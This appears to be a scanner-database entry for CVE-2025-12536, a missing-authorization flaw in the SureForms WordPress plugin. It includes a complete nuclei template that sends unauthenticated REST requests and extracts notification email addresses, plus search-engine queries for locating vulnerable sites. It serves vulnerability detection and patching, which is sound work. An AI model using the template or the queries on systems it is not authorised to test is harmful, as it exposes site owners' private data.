SureForms <= 1.13.1 - Sensitive Information Exposure

mediumseverity

5.3CVSS score

0.8%likelihood of exploitation, next 30 days

59%of all CVEs are less likely

Readycheck to confirm it

SureForms WordPress plugin <= 1.13.1 contains a sensitive information exposure caused by setting 'auth_callback' to '__return_true' in '_srfm_email_notification' post meta registration, letting unauthenticated attackers access sensitive email notification data, exploit requires no authentication.

Impact

Unauthenticated attackers can access sensitive email notification configurations, potentially leading to data leakage and abuse of downstream systems.

Fix

Update to the latest version beyond 1.13.1.

How to confirm it

Send: GET /wp-content/plugins/sureforms/readme.txt
Positive when: status_code == 200 and contains(body, "SureForms") and compare_versions(version, '<= 1.13.1')
Send: GET /{{route}}
Positive when: contains in content_type "application/json" AND contains "_srfm_email_notification" and "sureforms_form" AND contains "email_to" or "email_cc" or "email_bcc" AND status 200

Run it with nuclei: nuclei -id CVE-2025-12536 -u <target>

The full check

id: CVE-2025-12536

info:
  name: SureForms <= 1.13.1 - Sensitive Information Exposure
  author: pussycat0x
  severity: medium
  description: |
    SureForms WordPress plugin <= 1.13.1 contains a sensitive information exposure caused by setting 'auth_callback' to '__return_true' in '_srfm_email_notification' post meta registration, letting unauthenticated attackers access sensitive email notification data, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can access sensitive email notification configurations, potentially leading to data leakage and abuse of downstream systems.
  remediation: |
    Update to the latest version beyond 1.13.1.
  reference:
    - https://patchstack.com/database/wordpress/plugin/sureforms/vulnerability/wordpress-sureforms-plugin-1-13-1-unauthenticated-sensitive-information-exposure-vulnerability
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/sureforms/sureforms-1131-missing-authorization-to-unauthenticated-sensitive-information-exposure
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2025-12536
    epss-score: 0.00848
    epss-percentile: 0.58406
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 3
    vendor: brainstormforce
    product: sureforms
    framework: wordpress
    shodan-query: 'http.html:"/wp-content/plugins/sureforms/"'
    fofa-query: body="/wp-content/plugins/sureforms/"
    publicwww-query: "/wp-content/plugins/sureforms/"
  tags: cve,cve2025,wordpress,wp-plugin,sureforms,exposure,wp,

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/sureforms/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "SureForms")'
          - compare_versions(version, '<= 1.13.1')
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        name: version
        group: 1
        regex:
          - '(?i)Stable.tag:\s?([\w.]+)'
        internal: true

  - raw:
      - |
        GET /{{route}} HTTP/1.1
        Host: {{Hostname}}

    attack: clusterbomb
    payloads:
      route:
        - "wp-json/wp/v2/sureforms_form"
        - "?rest_route=/wp/v2/sureforms_form"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: content_type
        words:
          - "application/json"

      - type: word
        part: body
        words:
          - "_srfm_email_notification"
          - "sureforms_form"
        condition: and

      - type: word
        part: body
        words:
          - "email_to"
          - "email_cc"
          - "email_bcc"
        condition: or

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: email_to
        part: body
        group: 1
        regex:
          - '"email_to"\s*:\s*"([^"]+)"'

      - type: regex
        name: email_cc
        part: body
        group: 1
        regex:
          - '"email_cc"\s*:\s*"([^"]+)"'

      - type: regex
        name: email_bcc
        part: body
        group: 1
        regex:
          - '"email_bcc"\s*:\s*"([^"]+)"'

References

Use this check only on systems you are authorised to test. Where the data comes from